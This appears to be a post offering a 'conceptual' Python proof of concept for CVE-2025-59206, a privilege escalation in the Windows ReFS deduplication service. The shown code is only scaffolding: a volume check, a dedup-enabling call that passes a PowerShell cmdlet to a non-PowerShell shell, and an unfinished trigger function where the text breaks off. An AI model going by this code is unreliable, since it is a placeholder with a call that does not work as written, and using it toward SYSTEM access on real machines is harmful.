CVE-2025-59206：Windows ReFS去重服务本地权限提升漏洞

# CVE-2025-59206 - Windows ReFS Deduplication Service EoP PoC (Conceptual) # WARNING: This is a conceptual PoC for educational and research purposes only. # Exploiting this vulnerability without authorization is illegal. # The actual exploitation requires deep understanding of: # 1. ReFS deduplication service internals # 2. Windows kernel memory management # 3. Specific vulnerable code path in dedup engine # Conceptual exploit flow: # 1. Create or identify a ReFS volume with deduplication enabled # 2. Prepare the environment for triggering the vulnerable code path # 3. Exploit the vulnerability to gain SYSTEM privileges import ctypes import os import struct def check_refs_volume(): """Check if the current volume is a ReFS volume with dedup enabled.""" import subprocess result = subprocess.run( ['fsutil', 'fsinfo', 'volumeinfo', 'C:'], capture_output=True, text=True ) return 'ReFS' in result.stdout def enable_dedup(): """Enable deduplication on the ReFS volume (requires admin).""" import subprocess subprocess.run( ['Enable-DedupVolume', '-Volume', 'C:'], capture_output=True, shell=True ) def trigger_vulnerability(): """ Conceptual trigger for CVE-2025-59206.
